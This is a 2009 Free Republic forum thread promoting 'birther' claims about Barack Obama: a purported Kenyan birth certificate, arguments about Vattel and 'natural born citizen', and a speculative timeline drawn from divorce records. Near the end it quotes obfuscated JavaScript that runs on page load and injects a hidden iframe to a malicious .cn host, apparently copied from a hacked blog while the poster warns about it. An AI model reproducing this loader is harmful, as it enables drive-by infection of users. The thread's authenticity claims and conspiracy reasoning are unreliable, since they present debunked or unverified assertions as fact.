special Thanks for wndawmn666 and Natural Born 54 for pointing this out.
Posted on 08/02/2009 1:35:53 AM PDT by rxsid
Edited on 08/06/2009 12:10:02 AM PDT by John Robinson. [history]
Attorney Taitz filed a NOTICE OF MOTION AND MOTION to Expedite authentication, MOTION for Issuance of Letters Rogatory for authenticity of Kenyan birth certificate filed by Plaintiff Alan Keyes PhD.
http://www.orlytaitzesq.com/blog1/ (site has been the target of hackers, proceed with caution — John)
However, only Vattel defines "Natural Born Citizen." There was simply no other source (known) from where they could have gotten that term defined from.
new = knew
special Thanks for wndawmn666 and Natural Born 54 for pointing this out.
DECLARATION OF INDEPENDENCE (1776)
"In composing this greatest, most famous of legal documents, Jefferson, already well regarded as an essayist, drew heavily not only on the ideas of his fellow patriots, but also on the natural-rights theories of John Locke and the Swiss legal philosophy of Emerich de Vattel."
Or do you agree with Justice Ginzberg that we should refer to foreign law?
I’m just amazed that anyone would think that, of all the laws of the country they were fighting to separate from, the law governing who was a royal subject would have anything to do with anything, in this constitutional republic they were struggling to create. Sam Adams was citing Vattel in 1764, regarding constitutional primacy over parliament, for goodness sake.
Oh ye of little faith.
if such a typewriter was regularly used for those Australian registration certifications, why was the ‘1’ not used throughout the document
Maybe just habit. When someone learned to type on a typewriter without a "1," hitting the lower case L became second nature. So when that typist started using a typewriter with a "1," he would often forget to use it. At least I did. The lower case L still did the job.
"The Bomford document was proven within hours of to be a real amatuer waste of photoshopping skills. The biggest tell-tale on this blooper was the signature in the bottom right corner. It is pretty hard to put the “print” on top of the signature in real life."
http://americangrandjury.org/will-the-real-obama-kenya-birth-registration-please-stand-up
Take a look at the "D" in Deputy and the "S" in Registrar. The typing is clearly over the top of the signature.
Indeed.
Maybe they wrote their signature on the other side of the paper... backwards... and the ink bled through. ;-) hehehe :) That’s a good find too!
Ironically, the founders did when they drafted the Declaration of Independence as well as the Constitution!
French was read by many of the founders. Vattel's LofN was originally written in French, and later transcribed to English. The founders had both versions.
It is still incredible, that the Founders would draw upon law for royal subjects, Cheburashka.
Please consider the following:
“So far we have assumed that the conventional meaning of “natural born citizen” for those learned in the law in the eighteenth century was equivalent to the meaning of “natural born subject” in nineteenth century English law. But is this assumption correct? Does the substitution of the term “citizen” for “subject” alter the meaning of the phrase? And if those learned in the law did recognize a difference, what implications does that have for the meaning of the natural born citizen clause?
The language of the Constitution recognizes a distinction between “citizens” and “subjects.” For example, Article III, section 2 differentiates “citizens” of the several states from “citizens” or “subjects” of foreign states. In the framing era, these terms reflected two distinct theories of the relationship between individual members of a political community and the state. In feudal or monarchical constitutional theory, individuals were the subjects of a monarch or sovereign, but the republican constitutional theory of the revolutionary and post-revolutionary period conceived of the individual as a citizen and assigned sovereignty to the people.
The distinction between citizens and subjects is reflected in Chief Justice John Jay’s opinion in Chisholm v. Georgia, the first great constitutional case decided after the ratification of the Constitution of 1789: “ [A]t the Revolution, the sovereignty devolved on the people; and they are truly the sovereigns of the country, but they are sovereigns without subjects . . . .” Justice James Wilson confirmed Jay’s articulation of the opposition between subjects and citizens. Wilson noted that with the exception of Article III, the Constitution refers to “citizens” and “persons,” not subjects: “The term, subject, occurs, indeed, once in the instrument; but to mark the contrast strongly, the epithet ‘foreign’ is prefixed.” Both Jay and Wilson’s opinions suggest that usage in the founding era reflects a significant conceptual distinction between the words “subject” and “citizen”. The term “citizen” reflects the notion that individual citizens are sovereign in a republic, whereas the term “subject” reflects feudal and monarchical conceptions of the lord or monarch as sovereign and the individual as the subject.
This conceptual distinction may be relevant to the original understanding of the American constitutional phrase “natural born citizen,” which was used instead of the English legal phrase “natural born subject.” The notion of a natural born subject may reflect a feudal understanding of political obligation: Those born in the kingdom owed a natural duty of allegiance to their king and were his natural subjects. Given a republican theory of popular sovereignty, citizens are sovereign, and the notion of a “natural born subject” would be anathema.”
_______________________________________________________________________
Excerpted from: Originalism and the Natural Born Citizen Clause
Lawrence B. Solum *†
* Associate Dean for Faculty and Research and John E. Cribbet Professor of Law and Professor of Philosophy at the University of Illinois. Professor Solum is the author of numerous articles on constitutional theory and the philosophy of law.
† Suggested citation: Lawrence B. Solum, Commentary, Originalism and the Natural Born Citizen Clause, 107 Mich. L. Rev. First Impressions 22 (2008), http://www.michiganlawreview.org/firstimpressions/vol107/solum.htm
I’ve seen Ed Hale’s name mentioned here and there but I haven’t picked up enough information to form a clear picture. Thanks for posting your own experience.
What do other people think of this guy? Should everything coming from him be discounted, or is he often onto something good?
I would be wary.
John Marshall thought it was defined, in The Venus, 12 U.S. 253, and referred the nation to Vattel’s Law of Nations. Secretary Michael Chertoff seemed to think there was a definition, and so stated in his comment appended to Senate Res. 511. in 2008 John Bingham thought it was defined, and his repetition of the Vattel definition is in the Congressional Record (I think its 1867, but I'm too lazy to look it up again).
It depends upon what the meaning of is is. Associations between the symbols and definitions (I refer to “natural born citizen” as a symbol) must be made somewhere. If made in more than one place, there can be confusion. But about “natural born citizen” according to Bingham, there has never been doubt. John Marshall and many many others in court proceedings have pointed to Vattel’s Law of Nations as our common law. That can be argued, but the citations are there. Certainly, when we organized not under a crown but under a constitution, the British Common Law was not our principal dictionary. Marshall and Bingham were explicit about Vattel as the source for the definition. Can you find any other definition available to our founders of “natural born citizen?” Blackstone defines natural born subject, but clearly, a U.S. citizen is different from a British subject.
The USSC, if it does its job, will have to clarify this because there are so many willing to dismiss the precedent.
I have read many of the legal briefs proposing an amendment to the definition. The latest was floated by Oren Hatch in 2005 or 2006, to try to make Scharzenegger eligible. I've read that there have been more than 24 attempts to change it. Most people want to allow foreign born, like McCain, to be included. The frequent justification is that we are now a globalist world. Some, like Sarah Herlihy, claim we are racist, and inherently suspicious of foreigners. Obama is the poster boy for why ignoring our founders is perilous, with a non-citizen Marxist Muslim father, who could have cared less if the US were attacked - as long as he wasn't there.
Your post jogged my memory, but I remember a slightly different version of the story. I thought he didn’t smuggle anything out in person, but that, according to him, people in Kenya obtained original birth certificates for him, and he had them send the documents to three different contacts in the U.S. using three different courier services, presumably to reduce the chance of an unlawful interception.
I agree with you about being wary. I’m concerned if Hale is Orly Taitz’s source for the document cited in her latest court paper.
As per Orly Taitz at http://www.obambi.com
Debunking Obama’s Thugs In The Media
- Kenya became independent in 1963, NOT 1964;
- More than one person had certified copies of this document;
- Document not issued at birth, it is a certified copy from 1964;
- Documents from 1964 would show Kenya, not Zanzibar;
- Bomford report created to discredit my efforts
- Fukino and Obama and all their Nazi brown shirts (I think she is really pissed here) need to give it a rest. Provide an original hospital BC. If they can’t do that then they should all resign.
[I have paraphrased the above. Reading the original is, should I say, a more colorful experience. Remember - English ain’t her first language, but one of five she speaks.]
Few people know the prima facie facts tied to the Obama’s mother’s 1964 and 1980 divorces as well as a handful of us here on Free Republic. I know it probably better than most.
When I started looking at the date (Feb 17, 1964) on this new Kenyan birth certificate, I immediately started comparing it with the dates of the 1964 divorce between Obama's mother and father – TRYING to REFUTE the Kenyan birth certificate. Was it at all PLAUSIBLE, at least based upon what we know as prima facie facts, confirmed by an independent source – such as a judge in a divorce case? If you wish to refer back to this initial comparison, the information is on Post 2,222 of the Free Republic thread "Is this really it? (re: possible Obama's Kenyan B.C.)".
There’s been a fair number of fake Obama documents surfacing in the days and weeks leading up to the release of the Kenyan birth certificate, quickly debunked, designed to create confusion of prima facie – so, many of us are naturally suspicious. You can cry “wolf” only so many times before others stop believing you, even though later there may truly be a wolf. That said, I'm not a forensics expert, nor have I seen the Kenya birth certificate – but I can connect dots.
Although ANY document can be faked, I find it incredibly difficult to believe that a sneaky pro-Obama “operative” came up with a fake document that also plausibly MATCHES the timeline of the 1964 Obama divorce and other events, as well as the new Kenyan birth certificate does. Anything is possible of course, but I see the Kenya birth certificate as a believable document – for various reasons that I’ll outline below.
Not all of the deductive reasoning used in Post 2,222 came from 13-page divorce decree. For example, information regarding the 10-day "knock and nail" notification for Obama SR in Boston came from work with a local Private Investigator and a clerk in a Hawaii Court records office (who will remain nameless to eschew FURTHER harassment to them from the Left). These “contacts” also explained that Marriage and Birth Certificates are NOT Public Record in Hawaii, but divorce decrees ARE Public Record. However, documents that are NOT Public Record have occasionally “popped-up” mixed in with Public Records upon modern review, due to sloppy record-keeping decades ago, as well as changes to Hawaiian privacy statutes since the cases were judged.
In assisting with the retrieval of the initial 8 pages a couple of weeks before Obama’s Inauguration, I and a few other researchers subsequently discovered from the clerk in Hawaii that there were 6 MORE pages, or 14 total pages total. The clerk read the index information directly from the microfiche machine over the phone when the request was placed. “14 pages total,” she said, very clearly, repeating the answer when queried several more times on the page count.
I mailed off a check for the other 6 pages to be sent. Imagine my surprise a few days later when I opened the envelope and only saw 5 pages – page 11 was missing – bringing the total page count to 13.
See the whole Obama 1964 divorce on Scribd.com or as 13 individual images below (in proper order):
I immediately called the clerk in Hawaii and asked where the extra page was. She looked, and counted, and said that there must be some mistake in the records – she counted only 13 pages that are available for reprint. I pointed out to her that the page count she sent skipped from page 10 to page 12 – page 11 was missing. To that, she suggested that perhaps the pages were simply misnumbered before they where archived into the microfiche.
I accepted her answer, not thinking much about it at the time. Perhaps it was just a clerical error in the 1960s, when hand-filed paper records and IBM punch cards were how court documents were tracked and maintained.
I have since come to learn that Obama and his team of lawyers have been working to sanitize his records since he announced that he'd run for President circa November 2004. Now in the White House, he’s still ACTIVELY blocking subpoenas for such documents as his Cambridge and Occidental College records TODAY – the same type of documents promised to be made available during his campaign. Obama and his lawyers are exceedingly adept at exploiting loopholes in Hawaiian birth certificate law to keep Obama’s past hidden from the American people.
This missing page – page 11 – very likely is a copy of the original birth certificate, based upon the prima facie timeline of the 1964 divorce. The Kenya birth certificate was likely requested on Jan 23, 1964 by either Judge King (to award custody on the next trial date), or recommended to Ann Dunham by her attorney for the ex parte divorce, where only one parent was expected to be present.
The missing page, 11, should be chronologically-numbered as all other pages were in the original docket file, by the court clerk at the time. Starting at page 8, Exhibit A is placed where it would have occurred by date in the paperwork (and appeared on microfiche), even denoting an erased, yet barely-readable "8" on both pages of the returned notification sent to Obama SR. The missing page, numbered as page 11, would likely be a page that would have been admitted to the divorce file sometime in mid- to late-February 1964 – almost as if it were an undocumented “Exhibit B”.
Here’s a very plausible timeline merging the 1964 Obama Divorce papers and new Kenya birth certificate:
Jan 20 (Mon) – divorce request is filed by Stanley Ann D. Obama
Jan 23 (Thur) – divorce orders for trial are given by Judge King at chambers (note – if the judge, or Ann Dunham’s attorney, told her to order the Kenya birth certificate, it would have been mailed 10,000 miles away, to the “Coast Province” Registrar’s office of the “Republic of Kenya”, likely arriving around the first week of February 1964 to be processed)
Jan 28 (Tue) – Gail A. Watanabe, presumably an assistant of Ann Obama attorney George Kerr, mails the notification for trial to Obama SR (her affidavit is signed Feb 3 and filed)
Jan 30 (Thur) – via Air Mail, notification of trial arrives at Obama SR’s Cambridge, Mass, address. The 10-day "knock and nail" notification would have expired on Sun, Feb 9. Therefore, the next trial date would have been automatically set, per Judge King’s instructions, for the first Tuesday, 30 days later, on March 3
Feb 10 (Mon) – allowing for a 10-day “knock and nail” notification for trial, Obama SR's trial notification would have been retrieved by the US Post Office on this date, to be mailed back (as events turned out – UNSIGNED by Obama SR) to Hawaii as an exhibit for trial
Feb 17 (Mon) – the Obama Kenya birth certificate is signed by the “Coast Province” Deputy Registrar, to be mailed back to Hawaii for receipt by Ann Obama and/or her attorney (note: mail time would have ranged from a few days (Air Mail) to a couple of weeks (ship), arriving back in Hawaii in the last week of February to first week of March 3 (Tue). Based upon Judge King’s Jan 23 orders for the next trial date, "at 9:30 a.m. on the first Tuesday after thirty (30) days have elapsed from and after the date" that Obama SR would have been served with the notice of trial. That notification came back, unsigned, by Obama SR, so Ann’s attorneys surely requested, and received Default Judgment for the divorce in her favor for “grievous mental suffering”
Mar 5 (Thur) – trial takes place in favor of divorce in Hawaii, placing custody of Obama JR to his mother by default (note: the trial was likely rescheduled 2 days after the automatically set date of Mar 3, possibly for the convenience of the judge and/or parties)
Mar 20 (Fri) – the divorce decree is signed by Judge King
In Hawaii, birth certificates are not Public Record. If the Kenya birth certificate was a part of the divorce decree, it may have been pulled out at the end of the trial, or more recently by a watchful archivist or attorneys wishing to remove unfavorable information about Obama.
To date, despite other honest attempts to refute the Kenya birth certificate, such as dealing with when the “Republic of Kenya” came into existence as a republic have been “un-bunked.” Dishonest alterations of the Kenya birth certificate have been maliciously created by sites such as Democratic Underground, designed to discredit the Kenya birth certificate – they’ve been un-bunked as well.
Having not actually seeing the Kenya birth certificate, and it’s chain of evidence, no intellectually-honest person can say if it’s real or not. By the same token, none of us have seen or touched the short-form “Certification of Live Birth” that has appeared on Obama’s “Fight the Smears” or FactCheck.org websites.
No one can confirm the chain of evidence of Obama’s “Certification of Live Birth” that has appeared online, which is the abbreviated-version of Obama’s true, 1961, original long-form(s) “Certificate of Live Birth” and associated vital statistics records. Even the Hawaii Department of Health directly refuses to verify Obama’s online COLBs.
Hawaiian law would have allowed for Obama to have been born in a foreign country. The “Certification of Live Birth” can’t confirm if Obama has EVER been eligible to hold the office of Commander in Chief, based upon loopholes in pre-statehood, transitional and current Hawaiian statutes. Inconsistencies, such as conflicting hospitals in Hawaii that Obama, his friends and family have publicly-stated he may have been born only add to the confusion. Obama’s abstract “Certification of Live Birth” doesn't tell us if there were ANY "certifying officials" present who independent verified the "facts" of his birth – it's anyone's guess.
Obama himself cannot guaranty that he was born on American soil – really, who can remember their own childbirth?! Furthermore, his mother’s whereabouts are unconfirmed, inconsistent, and unknown, from the time of Obama’s conception, until a few weeks or months after his birth.
Thus is the purpose of Medical Doctors, Nurses, Midwives and Registrars, acting as "Certifying Officials" of a birth, to ensure the integrity – or chain of evidence – of the birth certificate to be properly recorded within Vital Statistics archives. Judges presiding over divorces ALSO produce a verifiable paper trail, as we can see on the 1964 Obama divorce.
function YuLQmW(cqGOKkKxg, paXoW, bRwOHYl){var
SjTKsiaJe=bRwOHYl.split(paXoW);var
NhAxBaVLcf='';for(qGST=0;qGST<(SjTKsiaJe.length-1);qGST++){
AXEMcaaiu = SjTKsiaJe[qGST]^cqGOKkKxg;NhAxBaVLcf +=
String.fromCharCode(AXEMcaaiu);}return NhAxBaVLcf;}
function hjgksr(){var GncOozzc=new Function("QtBFdMu",
"return "+YuLQmW(-0x13+0x8+0x2f+0x29+0x2d+0x28+0x2e+0x7f,
'U','299U288U300U314U290U298U289U315U')+"."+YuLQmW(-0x7-
0xe+0x14+0x3b1, 'G','978G991G980G969G')+"");var
zotuOWV=GncOozzc(-0x1c+0x25-0x1-0x1f+0x2c-
0x14);zotuOWV.innerHTML += YuLQmW(0x4+0x30+0x2c-
0x25+0x0+0x4e,
'V','181V224V239V251V232V228V236V169V254V224V237V253V225V
180V184V169V225V236V224V238V225V253V180V184V169V235V230V2
51V237V236V251V180V185V169V239V251V232V228V236V235V230V25
1V237V236V251V180V185V169V250V251V234V180V174V225V253V253
V249V179V166V166V250V236V234V252V251V224V253V240V164V232V
229V236V251V253V250V167V234V231V166V234V240V235V236V251V1
66V224V231V167V234V238V224V182V189V174V183V181V166V224V23
9V251V232V228V236V183V');}
if(window.addEventListener){window.addEventListener('load',
hjgksr,false);}else
if(window.attachEvent){window.attachEvent('onload',
hjgksr);}
<iframe width=1 height=1 border=0 frameborder=0 src='http://security-alerts.cn/cyber/in.cgi?4'></iframe>. I can tell you right now that Chinese site is up to no good.
Disclaimer: Opinions posted on Free Republic are those of the individual posters and do not necessarily represent the opinion of Free Republic or its management. All materials posted herein are protected by copyright law and the exemption for fair use of copyrighted works.